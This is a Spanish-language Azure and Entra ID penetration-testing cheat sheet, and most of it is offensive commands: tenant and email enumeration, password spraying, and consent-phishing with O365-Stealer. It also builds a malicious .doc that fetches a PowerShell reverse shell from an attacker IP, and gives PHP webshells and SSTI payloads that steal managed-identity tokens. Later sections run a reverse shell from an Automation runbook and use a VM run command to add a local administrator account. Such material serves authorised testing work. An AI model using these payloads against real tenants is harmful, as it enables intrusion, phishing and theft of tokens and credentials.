🔷Azure Pentest

Herramientas

AzureAD

pageAzureAD

Az Powershell

pageAz Powershell

Az Cli

pageAz Cli

Microsoft Graph PowerShell

https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0

Install-Module Microsoft.Graph -Scope CurrentUser

AzureRA

git clone "https://github.com/xtormin/PowerPentest.git"
cd PowerPentest/Azure/AzureRA
Import-Module .\AzureRA.psm1

ADDInternals

# Clonar el repositorio e importar el módulo
git clone "https://github.com/Gerenios/AADInternals.git"
cd AADInternals
Import-Module .\AADInternals.psd1 -Verbose

MicroBust

# Clonar el repositorio e importar el módulo
git clone "https://github.com/NetSPI/MicroBurst.git"
cd MicroBurst
Import-Module .\MicroBurst.psm1

MSOLSpray

# Clonar repositorio e importar el fichero MSOLSpray.ps1
git clone "https://github.com/dafthack/MSOLSpray.git"
cd MSOLSpray
. .\MSOLSpray.ps1

O365EmailValidator

# Clonar el repositorio e importar el fichero O365EmailValidator.ps1
git clone "https://github.com/xtormin/PowerPentest.git"
cd PowerPentest/Azure
. .\O365EmailValidator.ps1

ROADTools

Uso: > ROADTools

git clone "https://github.com/dirkjanm/ROADtools.git"
python -m venv venv
.\venv\Scripts\activate

StormPotter

Uso: StormPotter

git clone "https://github.com/Azure/Stormspotter.git"
  • Opción 1: Docker.

docker-compose up
  • Opción 2: Levantar los servicios en local.

  1. Backend:

cd "C:\Pentest\Tools\stormspotter\backend\"
pipenv shell
python ssbackend.pyz
  1. Frontend:

cd "C:\Pentest\Tools\stormspotter\frontend\dist\spa\"
quasar.cmd serve -p 9091 --history

AzureHound

$passwd = ConvertTo-SecureString "<contraseña>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds
. C:\Pentest\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose

Prowler

git clone "https://github.com/prowler-cloud/prowler.git"

BlobHunter

git clone "https://github.com/cyberark/BlobHunter.git"
python -m venv venv
.\venv\Scripts\activate
python -m pip install -r requirements.txt

ScoutSuite

git clone "https://github.com/nccgroup/ScoutSuite.git"
python -m venv venv
.\venv\Scripts\activate
python -m pip install -r requirements.txt

PowerZure

git clone "https://github.com/hausec/PowerZure"
Import-Module C:\Pentest\Tools\PowerZure\PowerZure.psd1

CloudSploit

git clone "https://github.com/aquasecurity/cloudsploit.git"

GraphRunner

git clone "https://github.com/dafthack/GraphRunner.git"

1. Reconocimiento externo

Para obtener información general y pública sobre el Tenant de la organización/dominio objetivo, se podrán utilizar múltiples métodos y/o herramientas.

Alguna información puede obtenerse de forma manual al realizar una petición contra determinados recursos de Microsoft. No obstante, existen varias herramientas y scripts que permiten automatizar algunas acciones.

[ - ] Sin credenciales

> Enumeración del Tenant

  • Conociendo un email de la organización, se podría obtener información asociada al Tenant donde se encuentra. Alguna de la información más relevante es la federación (FederationBrandName):

curl "https://login.microsoftonline.com/getuserrealm.srf?login=<email_corporativo>&xml=1"
<RealmInfo Success="true">
<State>4</State>
<UserState>1</UserState>
<Login>xtormin@xtormincorp.com</Login>
<NameSpaceType>Managed</NameSpaceType>
<DomainName>xtormincorp.com</DomainName>
<IsFederatedNS>false</IsFederatedNS>
<FederationBrandName>Xtormin Corp</FederationBrandName>
<CloudInstanceName>microsoftonline.com</CloudInstanceName>
<CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>
  • Para obtener el ID del Tenant e información de OpenID, se puede utilizar el siguiente recurso, donde se indicará el dominio objetivo:

curl "https://login.microsoftonline.com/<dominio>/.well-known/openid-configuration"
# Nombre del Tenant, autenticación, nombre, etc.
Get-AADIntLoginInformation -UserName root@xtormincorp.onmicrosoft.com
Has Password                         : True
Federation Protocol                  :
Pref Credential                      : 1
Consumer Domain                      :
Cloud Instance audience urn          : urn:federation:MicrosoftOnline
Authentication Url                   :
Throttle Status                      : 0
Account Type                         : Managed
Federation Active Authentication Url :
Exists                               : 0
Federation Metadata Url              :
Desktop Sso Enabled                  :
Tenant Banner Logo                   :
Tenant Locale                        :
Cloud Instance                       : microsoftonline.com
State                                : 4
Domain Type                          : 3
Domain Name                          : xtormincorp.onmicrosoft.com
Tenant Banner Illustration           :
Federation Brand Name                : Xtormin Corporation
Federation Global Version            :
User State                           : 1

> Enumeración de emails

  • Si queremos saber si un email existe o no en el Tenant, sin agotar intentos de inicio de sesión, se puede usar el recurso GetCredentialType para ello, se realiza la siguiente petición POST indicando el email:

https://login.microsoftonline.com/common/GetCredentialType
POST /common/GetCredentialType HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Length: 76
Content-Type: application/json

{
"username":"xtormin@xtormincorp.com",
"isOtherIdpSupported":  true
}
  • O365EmailValidator: Si se desea automatizar esto, también se puede utilizar el siguiente script indicando la lista de emails que se quiera comprobar.

# Ejecución del script con una lista de posibles emails separados por un espacio
Invoke-O365EmailValidator -file emails.txt -output emails_validated.txt

> Enumeración de subdominios y servicios

"MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. It is intended to be used during penetration tests where Azure is in use." - MicroBurst

# Enumeración de subdominios y servicios de xtormincorp.com
# Para ello se usa el nombre base "xtormincorp"
Invoke-EnumerateAzureSubDomains -Base xtormincorp -Verbose

> Password Spraying

Invoke-MSOLSpray -UserList emails_validated.txt -Password <password> -Verbose

2. Reconocimiento interno

[ + ] Con credenciales

> AzureAD

pageAzureAD

> Az PowerShell

pageAz Powershell

> Az Cli

pageAz Cli

Línea de comandos

Con credenciales

Connect-MgGraph
Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All"

Con código de dispositivo

Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication

  • Iniciar sesión:

roadrecon auth -u <email> -p <contraseña>
  • Obtener toda la información que puede leer el usuario actual:

roadrecon gather
  • Iniciar la interfaz gráfica:

roadrecon gui

El servidor web se ejecutará en la URL: http://127.0.0.1:5000

  • Obtención de políticas de accesos condicionales:

roadrecon plugin policies

Se genera un fichero llamado caps.html con la información.

Ejecución de StormPotter:

cd C:\Pentest\Tools\stormspotter\stormcollector\
pipenv shell
az login -u <email> -p <contraseña>
python C:\Pentest\Tools\stormspotter\stormcollector\sscollector.pyz cli

Acceso a la web: http://localhost:9091/

Credenciales por defecto:

  • Usuario: neo4j

  • Contraseña: password

La información reconectada se encuentra en un ZIP dentro de la carpeta de C:\Pentest\Tools\stormspotter\stormcollector.

Para visualizar la información se pueden utilizar las consultas por defecto de la sección "Queries" o crear unas propias.

  • Por ejemplo, para obtener todos los administradores:

MATCH (a:AADRole)<-[r:MemberOf]-(t) WHERE a.name = 'Company Administrator' RETURN *

Conexión e importación: AzureHound

Para consultar la información se deberá abrir BloodHound.

>> Consultas

  • Buscar todos los usuarios que tengan el rol de "Global Administrator":

MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
  • Todas las rutas a las máquinas virtuales:

MATCH p = (n)-[r]->(g: AZVM) RETURN p
  • Todas las rutas hacia "Azure KeyVaults":

MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
  • Todas las rutas hacia "Azure Resource Group":

MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
  • Buscar los Owners de "Azure Groups":

MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p

[ + ] Con token

Esta herramienta contiene un conjunto de funciones que realizan peticiones contra Azure REST API de Microsoft.

https://github.com/xtormin/PowerPentest/tree/main/Azure/AzureRA

  • Realizar una petición GET contra el recurso que se desee usando un token de acceso y la URL de la consulta que se quiera realizar:

Get-RA-RequestAPI -AccessToken $AccessToken -URI '<URL>'
Get-RA-RequestAPI -AccessToken $AccessToken -URI 'https://management.azure.com/subscriptions?api-version=2020-01-01'
  • Obtener suscripciones:

Get-RA-Subscriptions -AccessToken $AccessToken
  • Obtener los recursos de una suscripción por su ID:

Get-RA-ResourcesBySubscriptionID -AccessToken $AccessToken -SubscriptionID '<ID de suscripción>'
  • Obtener roles asociados a un recurso:

Get-RA-RoleAssignment -AccessToken $AccessToken -ResourcePath '<Resource path>'
Get-RA-RoleAssignment -AccessToken $AccessToken -ResourcePath '/subscriptions/b413826f-108d-4049-8c11-d52d5d348768/resourceGroups/Test/providers/Microsoft.Compute/virtualMachines/infraadmin'
  • Obtener un nonce:

Get-RA-RequestNonce -TenantID '<Tenant ID>'

2. Acceso inicial

> Abuso de permisos de consentimiento

Para explotar esta vulnerabilidad se requiere de un Tenant propio. En este se creará una aplicación en con una serie de permisos.

La información de la aplicación se incluye en la configuración de la herramienta O365Stealer, que creará un enlace de phishing y será el que se le enviará a la víctima.

Usando AzureAD Preview se puede obtener la configuración del consentimiento de los usuarios a las aplicaciones:

(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

>> Creación de una aplicación

  1. Modificar o registrar una nueva aplicación.

  2. Asignarle los siguientes permisos:

files.readwrite.all
mail.read
mail.send
mailboxsettings.readwrite
notes.read.all
user.read
user.readbasic.all

>> Configuración y ejecución de O365-Stealer

Se añade, por ejemplo, a un servidor xampp la carpeta de o365-stealer y se ejecuta el servidor:

  1. Se configura la herramienta con los valores del Client ID, Client Secret y URL de la aplicación registrada.

Desde el panel de Azure, la información necesaria para la configuración se obtiene desde los siguientes apartados/secciones:

2. Ejecución de la herramienta:

La herramienta genera una URL que será utilizada para el ataque de phishing.

Esta URL puede ser enviada, por ejemplo:

  • Enviando un email a la víctima.

  • Enviando la URL a través de un formulario.

  • Explotando un XSS almacenado.

  • Etc.

Una vez que la víctima pique en el anzuelo, obtendremos los tokens de acceso, correos, acceso a onedrive, etc.

Desde el panel de O365-Stealer, podremos obtener la información en ficheros, subir ficheros a One Drive, crear reglas en Outlook, etc.

>> Creación de un fichero doc malicioso

Con el siguiente script es posible insertar código malicioso en un fichero .doc:

https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1

Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<IP>/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP> -Port <Puerto>" -OutputFile evildoc.doc

Siendo por ejemplo la IP del atacante 10.0.0.10 con el puerto 80 que cuenta con un servicio web que sirve el fichero Invoke-PowerShellTcp.ps1 y el puerto 443 que se encuentra a la escucha con netcat (comando en adelante):

Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://10.0.0.10:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 10.0.0.10 -Port 443" -OutputFile evildoc.doc

Se pone el puerto 443 a la escucha en la máquina del atacante 10.0.0.10:

C:\Pentest\Tools\netcat\nc.exe -lvp 443

>> Subida de un fichero doc malicioso a OneDrive

Desde el panel de acciones se puede subir un fichero .doc malicioso a One Drive y esperar hasta obtener la reverse shell.

> Vulnerabilidades web

-- Subida de ficheros insegura

Si nos encontramos con una aplicación que permite la subida de ficheros sin restricción, podríamos subir una webshell que nos permita ejecutar comandos en el sistema e identificar si la aplicación tiene una identidad administrada (managed identity).

Una aplicación tiene una identidad administrada si contiene en sus variables de entorno (env):

IDENTITY_HEADER
IDENTITY_ENDPOINT

Si se quiere obtener un token de acceso para la identidad administrada se puede realizar lo siguiente:

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

Webshell de PHP

  • Webshell básica: https://victima.com/shell.php?cmd=env

<?php 
system($_REQUEST['cmd']);
?>
  • Token de acceso: https://victima.com/gettoken.php

<?php 
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>

Se obtendría un token de acceso como el siguiente:

{"access_token":"<JWT>","expires_on":"05/17/2024 06:26:47 +00:00","resource":"https://management.azure.com/","token_type":"Bearer","client_id":"064aaf53-30af-41f0-841a-0e21ed149936"}

Conexión y enumeración con token de acceso

Es posible conectarse con Az Powershell haciendo uso del access_token y client_id:

#token-conexion-con-token

Para obtener las subscripciones y sus subscriptionId se puede utilizar el siguiente script (AzureRA) usando el token de acceso (access_token) anterior:

Get-RA-Subscriptions -AccessToken '<TOKEN JWT>'

Para obtener la lista de recursos se utiliza el siguiente script (AzureRA) con el mismo token de acceso y el subscriptionId de la suscripción de la cuál queramos obtener los recursos:

Get-ResourcesBySubscriptions.ps1 -AccessToken '<TOKEN JWT>' -SubscriptionID '<Subscription ID>'

Si se quiere consultar los permisos de un recurso, se puede utilizar el siguiente script (AzureRA) con el mismo token de acceso y la ruta del recurso:

Get-RA-RoleAssignment -AccessToken '<TOKEN JWT>' -ResourcePath '<Resource path>'

Por ejemplo:

Get-RA-RoleAssignment -AccessToken $accesstoken -ResourcePath '/subscriptions/b413326f-108d-40179-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect'

-- SSTI - Server Side Template Injection

Si contamos con una entrada vulnerable a inyección de plantillas:

{{7*7}}

Para averiguar de cuál tipo de engine se trata se pueden buscar claves de configuración en el buscador para identificarlo.

{{config.items()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

Obtención de variables de entorno de identidad administrada

Sustituyendo el comando por env para obtener las variables de entorno:

{{config.__class__.__init__.__globals__['os'].popen('env').read()}}

Con el siguiente comando se puede obtener el token de acceso usando las variables de entorno:

{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

Para conectarse usando el token de acceso: #token-conexion-con-token

-- Inyección de comandos

Si contamos con una entrada vulnerable a inyección de comandos, podríamos obtener las variables de entorno y usarlas para obtener un token de acceso que nos permita posteriormente acceder:

  • Para obtener las variables de entorno:

env
  • Para obtener un token de acceso:

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Si no es posible realizar esto desde el punto de inyección de comandos, se podría crear un fichero python y ejecutarlo en el sistema para obtener los tokens de acceso:

import os
import json
import subprocess

def get_token(resource):
    cmd = f'curl "{os.environ["IDENTITY_ENDPOINT"]}?resource={resource}&api-version=2017-09-01" -H secret:{os.environ["IDENTITY_HEADER"]}'
    return json.loads(subprocess.check_output(cmd, shell=True))

def print_token_info(api_name, token_info):
    print(f"[+] {api_name} API")
    print(f"Access Token: {token_info['access_token']}")
    print(f"ClientID: {token_info['client_id']}\n")

for api, resource in [("Management", "https://management.azure.com/"), ("Graph", "https://graph.microsoft.com/")]:
    token_info = get_token(resource)
    print_token_info(api, token_info)

> Acceso anónimo

>> Storage Accounts / Cuentas de almacenamiento

Las cuentas de almacenamiento cuentan con tres niveles de acceso:

Tipo de accesoPermisosDescripción

Private

Sin acceso público de lectura

Requiere autorización de acceso al contenedor y sus blobs. Es la opción predeterminada de los nuevos contenedores.

Blob

Acceso público de lectura sólo para blobs

Es posible acceder al contenedor de forma anónima, pero no es posible acceder a los datos sin autorización.

Container

Acceso público de lectura para el contenedor y sus blobs

Es posible acceder al contenedor y sus blobs de forma anónima, pero no se puede acceder a la configuración de permisos ni metadatos del contenedor.

Ejemplo de una Storage Account:

http://<storage-account>.blob.core.windows.net/<container-name>/<file-name>

Se pueden enumerar los Blobs disponibles con la herramienta MicroBurst:

. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1

También se pueden enumerar los Blobs con:

Para enumerar las cuentas de almacenamiento:

az storage account list

Para comprobar si un contenedor cuenta con acceso anónimo:

https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure?tabs=powershell#check-the-anonymous-access-setting-for-a-set-of-containers

$rgName = "<resource-group>"
$accountName = "<storage-account>"
$storageAccount = Get-AzStorageAccount -ResourceGroupName $rgName -Name $accountName
$ctx = $storageAccount.Context
Get-AzStorageContainer -Context $ctx | Select Name, PublicAccess

Con la herramienta Azure Storage se puede realizar la conexión de forma cómoda y fiable (vía web no siempre se puede acceder correctamente):

Para configurar el acceso anónimo, se pueden seguir las indicaciones que se encuentran en la página oficial de Microsoft: https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-configure?tabs=portal#set-the-public-access-level-for-a-container

>> Key Vaults / Almacén de claves

Si el los Key Vaults cuentan con acceso anónimo, podría llegar a accederse a la información confidencial que almacenan, como: secretos, cedenciales, etc.

  • Obtener KeyVault:

Get-AzKeyVault
  • Mostrar información de un KeyVault:

Get-AzKeyVaultSecret -VaultName ResearchKeyVault
  • Obtener credenciales en texto plano:

Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader –AsPlainText

Posteriormente podríamos intentar iniciar sesión en el servicio, cuenta, sistema, etc. del cuál hayamos obtenido credenciales.

Por ejemplo:

  • Si se trata de una cuenta de Azure:

$password = ConvertTo-SecureString '<contraseña>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<email>', $password)
Connect-AzAccount -Credential $creds

> Roles con demasiados permisos

Si un rol cuenta con permisos de lectura en recursos que cuentan con claves secretas o información sensible. Se podría obtener dicha información realizando una petición que obtenga la información de los parámetros sobre recursos donde se tengan más permisos de los necesarios.

  • Obtener los recursos:

Get-AzResource
  • Obtener los roles asignados a un recurso:

Get-AzRoleAssignment -Scope '/subscriptions/b414826f-108d-4045-8c11-d52d5d388738/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/vmtest'
  • De los roles obtenidos, se pueden visualizar las acciones permitidas:

Get-AzRoleDefinition -Name "Virtual Machine Execute Commands"

> Credenciales expuestas

>> Resources Groups / Grupos de recursos

Si en los campos se utiliza un tipo de campo que no oculte la información. Esta información puede verse expuesta y accesible a terceros no autorizados.

Para evitar esta situación se deberían utilizar los campos SecureString o SecureObject que permite ocultar esta información a usuarios no autorizados.

>> Código fuente de aplicaciones lógicas

En el código fuente de aplicaciones podrían haber credenciales en texto plano.

Para evitar exponer estas credenciales en el código, es mejor hacer uso de Azure Key Vaults.

> Restricción de acceso insuficiente en Azure EntraID

Si se cuenta con acceso a la API MSGraph, es posible realizar consultas directamente contra la API con el fin de obtener la lista completa de usuarios, grupos, roles asignados, etc.

3. Elevación de privilegios

> Automation Account

az automation account list
[
  {
    "creationTime": "2021-03-17T14:40:05.340000+00:00",
    "description": null,
    "etag": null,
    "id": "/subscriptions/b413824f-108d-4049-8c11-d52d5d386768/resourceGroups/Test/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
    "lastModifiedBy": null,
    "lastModifiedTime": "2022-10-30T14:26:31.586666+00:00",
    "location": "switzerlandnorth",
    "name": "HybridAutomation",
    "resourceGroup": "Test",
    "sku": null,
    "state": null,
    "tags": {},
    "type": "Microsoft.Automation/AutomationAccounts"
  }
]
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Test
ResourceGroupName     : Test
AutomationAccountName : HybridAutomation
Name                  : Workergroup1
RunbookWorker         : {defeng-adcsrv.defeng.corp}
GroupType             : User

Si se cuenta con un "hybrid runbookworker" podría ser posible ejecutar comandos en el servidor. Para ello se creará un runbook que cuente con un fichero powershell que contendrá el código malicioso que nos enviará el interprete de comandos a nuestra netcat.

  1. Crear un runbook:

Import-AzAutomationRunbook -Name test -Path C:\Pentest\Tools\rshell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Test -Type PowerShell -Force -Verbose

Contenido del fichero rshell.ps1:

powershell "IEX (New-Object Net.Webclient).downloadstring('http://<IP atacante>:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP atacante> -Port <Puerto>"
  1. Publicar el runbook:

Publish-AzAutomationRunbook -RunbookName test -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
  1. Se pone el puerto 4444 a la escucha con netcat en la máquina del atacante:

C:\AzAD\Tools\netcat\nc64.exe -lvp 443
  1. Se ejecuta el runbook:

Start-AzAutomationRunbook -RunbookName test -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

> Ejecución de comandos en VM por abuso de permisos

$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
New-LocalUser -Name usertest -Password $passwd 
Add-LocalGroupMember -Group Administrators -Member usertest

$AccessToken = '<JWT>'
Connect-AzAccount -AccessToken $AccessToken -AccountId 024aaf57-30af-45f0-840a-0e21ed143946

Get-AzVM -Name <máquina virtual> -ResourceGroupName <nombre de grupo> | select -ExpandProperty NetworkProfile
Invoke-AzVMRunCommand -VMName <máquina virtual> -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Pentest\Tools\adduser.ps1' -Verbose

Última actualización